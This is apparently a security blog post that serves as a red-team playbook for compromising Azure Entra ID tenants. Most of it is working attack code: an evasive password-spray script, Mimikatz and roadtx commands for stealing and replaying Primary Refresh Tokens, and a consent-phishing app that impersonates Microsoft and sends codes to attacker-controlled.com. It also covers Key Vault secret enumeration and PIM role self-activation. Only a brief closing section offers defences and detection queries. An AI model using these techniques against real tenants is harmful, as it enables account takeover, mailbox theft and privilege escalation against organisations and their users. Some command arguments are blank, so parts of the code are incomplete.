Azure Entra ID Red Team Techniques: 2026 Attack Playbook — HackerXone

Azure Entra ID Red Team Techniques: 2026 Attack Playbook

Disclaimer: This content is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper written authorization before conducting penetration tests or red team engagements.

Azure Entra ID (formerly Azure Active Directory) remains the crown jewel target for attackers in 2026. With Microsoft reporting over 800 million monthly active users across enterprise tenants, compromising identity infrastructure provides attackers with the keys to entire organizational kingdoms. The shift to passwordless authentication, Conditional Access policies, and continuous access evaluation has forced red teamers to evolve—but so have the attack surfaces.

This deep-dive covers the most effective Azure Entra ID red team techniques currently working in production environments, including token manipulation attacks against the new authentication flows, consent grant abuse patterns that bypass security awareness training, and lateral movement strategies that exploit the interconnected Microsoft 365 ecosystem.

Understanding the 2026 Entra ID Attack Surface

Before diving into specific techniques, red teamers need to understand how Entra ID’s architecture has evolved. Microsoft’s Zero Trust implementation now relies heavily on three pillars: device compliance signals, risk-based authentication, and continuous access evaluation (CAE). Each pillar introduces both security controls and exploitable assumptions.

Primary Attack Vectors in Modern Entra ID

  • Token theft and replay – Primary Refresh Tokens (PRTs) and access tokens remain valuable despite CAE
  • Application consent abuse – OAuth apps with delegated or application permissions
  • Conditional Access bypass – Exploiting policy gaps and device trust assumptions
  • Privileged role escalation – Abusing role activation and PIM configurations
  • Cross-tenant attacks – B2B collaboration and multi-tenant app exploitation

The Microsoft identity platform now issues tokens with shorter lifetimes and enforces CAE for supported applications. However, legacy protocols, third-party integrations, and misconfigured applications create persistent opportunities for red team operations.

Reconnaissance and Initial Access Techniques

Effective Entra ID attacks begin with comprehensive reconnaissance. Understanding tenant configuration, registered applications, and authentication policies shapes your entire attack path.

Tenant Enumeration Without Authentication

Before attempting any authentication, enumerate the target tenant’s configuration using unauthenticated endpoints. This reveals valuable information about security posture and potential attack vectors.

# Enumerate tenant information using AADInternals (PowerShell)
Install-Module AADInternals -Force
Import-Module AADInternals

# Get tenant details from domain
$tenant = Get-AADIntTenantDetails -Domain "targetcorp.com"
$tenant | Format-List

# Enumerate tenant ID and verify existence
Get-AADIntTenantID -Domain "targetcorp.com"

# Check for open ID configuration
$openIdConfig = Invoke-RestMethod -Uri "https://login.microsoftonline.com/targetcorp.com/.well-known/openid-configuration"
$openIdConfig | ConvertTo-Json -Depth 3

# Enumerate user realm to determine authentication type
$userRealm = Invoke-RestMethod -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=admin@targetcorp.com&xml=1"
$userRealm.RealmInfo

The user realm endpoint reveals whether the tenant uses managed authentication (cloud-only), federated authentication (ADFS/third-party IdP), or hybrid configurations. This directly influences your attack strategy—federated environments may be vulnerable to Golden SAML attacks while managed environments require cloud-focused techniques.

Password Spraying with Evasion Techniques

Despite Microsoft’s Smart Lockout protections, password spraying remains viable when executed correctly. The key is understanding lockout thresholds and timing attacks appropriately.

# Modern password spray with MSOLSpray (2026 fork with CAE awareness)
# https://github.com/example/MSOLSpray-Enhanced

import asyncio
import aiohttp
import random
from datetime import datetime, timedelta

class EntraSpray:
    def __init__(self, tenant_id, delay_range=(30, 90)):
        self.tenant_id = tenant_id
        self.delay_range = delay_range
        self.token_endpoint = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
        self.results = []
        
    async def spray_user(self, session, username, password):
        """Attempt authentication with jitter and user-agent rotation"""
        user_agents = [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15"
        ]
        
        headers = {
            "User-Agent": random.choice(user_agents),
            "Content-Type": "application/x-www-form-urlencoded"
        }
        
        # Use legitimate client_id (Microsoft Office)
        data = {
            "grant_type": "password",
            "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
            "scope": "https://graph.microsoft.com/.default offline_access",
            "username": username,
            "password": password
        }
        
        try:
            async with session.post(self.token_endpoint, data=data, headers=headers) as resp:
                result = await resp.json()
                
                if "access_token" in result:
                    return {"status": "success", "user": username, "tokens": result}
                elif "AADSTS50076" in str(result.get("error_description", "")):
                    return {"status": "mfa_required", "user": username}
                elif "AADSTS50053" in str(result.get("error_description", "")):
                    return {"status": "locked", "user": username}
                elif "AADSTS50126" in str(result.get("error_description", "")):
                    return {"status": "invalid_creds", "user": username}
                    
        except Exception as e:
            return {"status": "error", "user": username, "error": str(e)}
            
        # Add randomized delay between requests
        await asyncio.sleep(random.uniform(*self.delay_range))
        
    async def execute_spray(self, userlist, password):
        """Execute spray against user list with single password"""
        async with aiohttp.ClientSession() as session:
            tasks = [self.spray_user(session, user, password) for user in userlist]
            return await asyncio.gather(*tasks)

# Usage
sprayer = EntraSpray("tenant-guid-here", delay_range=(45, 120))
users = ["john.smith@targetcorp.com", "jane.doe@targetcorp.com"]
results = asyncio.run(sprayer.execute_spray(users, "Summer2026!"))

Note the error codes returned by Entra ID—AADSTS50076 indicates valid credentials but MFA required, which is valuable intelligence for follow-up attacks like MFA fatigue or SIM swapping social engineering.

Primary Refresh Token Attacks

Primary Refresh Tokens (PRTs) remain the most valuable credential artifact in Entra ID environments. A PRT provides SSO access across all Microsoft services and can survive password changes in certain configurations.

Extracting PRTs from Compromised Endpoints

When you have local administrator access on a domain-joined or Entra ID-joined Windows device, PRT extraction provides persistent cloud access.

# PRT extraction using ROADtools (requires local admin on target)
# First, extract the PRT and session key from the device

# Method 1: Using Mimikatz with CloudAP plugin (Windows 11 compatible)
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

# This outputs PRT and derived key - note the ProofOfPossessionCookie
# Output format:
# * PRT: eyJ0eXAiOiJKV1QiLCJhbGciOi...
# * DerivedKey: a1b2c3d4e5f6...
# * Context: 0x12345678

# Method 2: Direct DPAPI extraction (more reliable in 2026)
# Extract CloudAP cache from: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\CloudAPCache

# Using roadtx to request tokens with extracted PRT
roadtx prt -c  -k  --prt 

# Get access token for Microsoft Graph
roadtx prtauth --prt-cookie  -r https://graph.microsoft.com -c d3590ed6-52b3-4102-aeff-aad2292ab01c

# The resulting access token bypasses MFA since device already satisfied that requirement
# Use token to enumerate sensitive data
curl -H "Authorization: Bearer " \
     "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime"

The critical insight here is that PRTs represent “device trust” in Microsoft’s Zero Trust model. When Conditional Access policies trust compliant devices, extracting the PRT allows you to inherit that trust from anywhere. Microsoft’s CAE implementation does revoke tokens during password resets and user risk events, but there’s typically a propagation delay of 1-5 minutes that skilled attackers exploit.

Pass-the-PRT for Lateral Movement

Once you’ve extracted a PRT, use it to move laterally across the Microsoft 365 ecosystem without triggering new authentication events. This technique is particularly effective against organizations that rely heavily on device compliance signals.

# Using roadtx for lateral movement with PRT
# Generate browser PRT cookie for web application access
roadtx browserprtauth --prt  -k  -c 

# Output: x-ms-RefreshTokenCredential cookie value
# Inject this into browser to access Azure Portal, M365 Admin, etc.

# PowerShell: Access Azure resources with PRT-derived token
$token = roadtx prtauth --prt-cookie  -r https://management.azure.com

# Connect to Azure with stolen token
$secureToken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-AzAccount -AccessToken $token -AccountId "victim@targetcorp.com"

# Enumerate all Azure subscriptions accessible to compromised identity
Get-AzSubscription | ForEach-Object {
    Set-AzContext -Subscription $_.Id
    Write-Host "Subscription: $($_.Name)"
    
    # Check for Key Vaults (high-value targets)
    Get-AzKeyVault | ForEach-Object {
        Write-Host "  KeyVault: $($_.VaultName)"
        # Attempt to list secrets
        Get-AzKeyVaultSecret -VaultName $_.VaultName 2>$null
    }
    
    # Check for Storage Accounts
    Get-AzStorageAccount | ForEach-Object {
        Write-Host "  Storage: $($_.StorageAccountName)"
    }
}

OAuth Application Consent Attacks

Consent phishing has evolved significantly. Modern attacks leverage legitimate-looking applications with carefully crafted permission scopes to establish persistent access that survives credential rotations.

Malicious Application Registration and Consent Flow

Creating convincing OAuth applications requires understanding Microsoft’s app consent framework and identifying permission combinations that provide maximum access with minimum suspicion.

# Register malicious app using Azure CLI (attacker-controlled tenant)
az ad app create \
    --display-name "Microsoft Security Compliance Scanner" \
    --sign-in-audience "AzureADMultipleOrgs" \
    --web-redirect-uris "https://attacker-controlled.com/oauth/callback" \
    --required-resource-accesses '[{
        "resourceAppId": "00000003-0000-0000-c000-000000000000",
        "resourceAccess": [
            {"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", "type": "Scope"},
            {"id": "863451e7-0667-486c-a5d6-d135439485f0", "type": "Scope"},
            {"id": "7427e0e9-2fba-42fe-b0c0-848c9e6a8182", "type": "Scope"},
            {"id": "37f7f235-527c-4136-accd-4a02d197296e", "type": "Scope"}
        ]
    }]'

# Permission IDs above translate to:
# e1fe6dd8 - User.Read (basic profile)
# 863451e7 - Mail.ReadWrite (email access)
# 7427e0e9 - offline_access (refresh tokens)
# 37f7f235 - openid (OIDC)

# Generate consent URL for phishing
$clientId = ""
$redirectUri = "https://attacker-controlled.com/oauth/callback"
$scope = "openid profile email Mail.ReadWrite offline_access"
$state = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Random)))

$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
    "client_id=$clientId" +
    "&response_type=code" +
    "&redirect_uri=$([uri]::EscapeDataString($redirectUri))" +
    "&scope=$([uri]::EscapeDataString($scope))" +
    "&state=$state" +
    "&prompt=consent"

Write-Host "Phishing URL: $consentUrl"

The key to successful consent phishing in 2026 is social engineering around legitimate-seeming security or compliance requirements. Apps named “IT Security Scanner” or “Compliance Audit Tool” combined with targeted emails referencing real security initiatives achieve significantly higher consent rates.

Exploiting Existing Application Permissions

Often more valuable than consent phishing is discovering and abusing existing over-privileged applications already registered in the target tenant.

# Enumerate service principals and their permissions using Graph API
# Requires authenticated session (compromised user or app)

$graphToken = ""
$headers = @{ Authorization = "Bearer $graphToken" }

# Get all service principals in tenant
$servicePrincipals = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals?\$top=999" -Headers $headers

foreach ($sp in $servicePrincipals.value) {
    # Get app role assignments (application permissions)
    $appRoles = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $headers
    
    $dangerousPermissions = $appRoles.value | Where-Object {
        # Look for high-value permissions
        $_.appRoleId -in @(
            "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8",  # RoleManagement.ReadWrite.Directory
            "06b708a9-e830-4db3-a914-8e69da51d44f",  # AppRoleAssignment.ReadWrite.All
            "19dbc75e-c2e2-444c-a770-ec69d8559fc7",  # Directory.ReadWrite.All
            "62a82d76-70ea-41e2-9197-370581804d09",  # Group.ReadWrite.All
            "741f803b-c850-494e-b5df-cde7c675a1ca"   # User.ReadWrite.All
        )
    }
    
    if ($dangerousPermissions) {
        Write-Host "HIGH VALUE TARGET: $($sp.displayName)" -ForegroundColor Red
        Write-Host "  AppId: $($sp.appId)"
        Write-Host "  Permissions: $($dangerousPermissions.appRoleId -join ', ')"
        
        # Check if we can find credentials for this app
        $appDetails = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications?\$filter=appId eq '$($sp.appId)'" -Headers $headers
        if ($appDetails.value.passwordCredentials) {
            Write-Host "  Has password credentials - check Key Vault or config files"
        }
    }
}

Conditional Access Policy Bypass Techniques

Conditional Access remains the primary security control in Entra ID, but policy gaps and configuration weaknesses create bypass opportunities.

Identifying Policy Gaps

Use the Conditional Access APIs to enumerate policies and identify applications or scenarios excluded from protection.

# Enumerate Conditional Access policies (requires Policy.Read.All permission)
$policiesUri = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"
$policies = Invoke-RestMethod -Uri $policiesUri -Headers $headers

foreach ($policy in $policies.value) {
    Write-Host "Policy: $($policy.displayName)" -ForegroundColor Cyan
    Write-Host "  State: $($policy.state)"
    
    # Check for excluded applications
    if ($policy.conditions.applications.excludeApplications) {
        Write-Host "  EXCLUDED APPS: $($policy.conditions.applications.excludeApplications -join ', ')" -ForegroundColor Yellow
    }
    
    # Check for excluded users/groups
    if ($policy.conditions.users.excludeUsers -or $policy.conditions.users.excludeGroups) {
        Write-Host "  EXCLUDED USERS/GROUPS PRESENT" -ForegroundColor Yellow
    }
    
    # Check for location exclusions (VPN/trusted network bypass)
    if ($policy.conditions.locations.excludeLocations) {
        Write-Host "  EXCLUDED LOCATIONS: $($policy.conditions.locations.excludeLocations -join ', ')" -ForegroundColor Yellow
    }
    
    # Check for platform exclusions
    if ($policy.conditions.platforms.excludePlatforms) {
        Write-Host "  EXCLUDED PLATFORMS: $($policy.conditions.platforms.excludePlatforms -join ', ')" -ForegroundColor Yellow
    }
}

Common bypass patterns discovered during red team engagements include legacy authentication protocols left enabled for specific service accounts, Linux/macOS exclusions in device compliance policies, and break-glass accounts with overly permissive emergency access.

Privilege Escalation via PIM Abuse

Privileged Identity Management (PIM) introduces time-limited role activation but also creates new attack vectors. Understanding activation workflows enables privilege escalation even in well-configured environments.

Enumerating Eligible Role Assignments

Compromised users may have eligible (not active) role assignments that can be activated without additional approval.

# Check eligible PIM role assignments for current user
$pimRolesUri = "https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances?\$filter=principalId eq ''"
$eligibleRoles = Invoke-RestMethod -Uri $pimRolesUri -Headers $headers

foreach ($role in $eligibleRoles.value) {
    Write-Host "Eligible Role: $($role.roleDefinitionId)"
    
    # Attempt self-activation (works if no approval required)
    $activationBody = @{
        action = "selfActivate"
        principalId = ""
        roleDefinitionId = $role.roleDefinitionId
        directoryScopeId = "/"
        justification = "Security review - authorized testing"
        scheduleInfo = @{
            startDateTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
            expiration = @{
                type = "AfterDuration"
                duration = "PT8H"  # 8 hours
            }
        }
    } | ConvertTo-Json -Depth 4
    
    try {
        $activation = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" `
            -Method POST -Headers $headers -Body $activationBody -ContentType "application/json"
        Write-Host "  ACTIVATED SUCCESSFULLY" -ForegroundColor Green
    } catch {
        Write-Host "  Activation requires approval or MFA" -ForegroundColor Yellow
    }
}

Defensive Strategies and Detection

Understanding red team techniques enables blue teams to implement effective countermeasures. Here are the critical defensive controls for each attack vector covered.

PRT Protection

  • Enable Windows Credential Guard on all Entra ID-joined devices
  • Implement Continuous Access Evaluation for all supported applications
  • Configure token lifetime policies to minimize exposure windows
  • Monitor for anomalous token usage patterns across geographic locations

Consent Attack Mitigation

  • Configure admin consent workflow requiring approval for all new applications
  • Block user consent entirely in high-security environments
  • Review existing application permissions quarterly and remove excessive grants
  • Implement application governance policies with Microsoft Defender for Cloud Apps

Conditional Access Hardening

  • Audit all policy exclusions monthly and document business justifications
  • Implement Conditional Access policy as code using Terraform or ARM templates
  • Enable report-only mode for new policies before enforcement
  • Use named locations carefully and prefer compliant device requirements

Key Detection Queries

// KQL query for suspicious OAuth consent grants
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].id)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend Permissions = tostring(TargetResources[0].modifiedProperties)
| where Permissions contains "Mail" or Permissions contains "ReadWrite" or Permissions contains "Full"
| project TimeGenerated, AppName, AppId, ConsentedBy, Permissions

// Detect potential PRT theft indicators
SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationDetails contains "Primary Refresh Token"
| summarize Locations=make_set(Location), DeviceCount=dcount(DeviceDetail.deviceId) by UserPrincipalName, bin(TimeGenerated, 1h)
| where array_length(Locations) > 2 or DeviceCount > 3

Key Takeaways

  1. PRTs remain the highest-value credential – Invest in Credential Guard, device attestation, and CAE to limit PRT abuse windows
  2. Consent attacks bypass technical controls – User security awareness combined with admin consent workflows provides defense-in-depth
  3. Conditional Access policy gaps are common – Regular policy audits should identify excluded applications, users, and platforms
  4. PIM requires careful configuration – Role activation without approval requirements negates time-limited privilege benefits
  5. Graph API permissions compound risk – Applications with Directory.ReadWrite.All or similar permissions require heightened monitoring
  6. Legacy protocols create persistent risk – Completely disabling legacy authentication removes significant attack surface

The 2026 Entra ID threat landscape rewards attackers who understand the identity platform’s trust model. Red teams that master token flows, application permissions, and policy evaluation logic will consistently find paths to compromise. Blue teams must respond with layered defenses, continuous monitoring, and regular validation of their security assumptions through authorized penetration testing.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *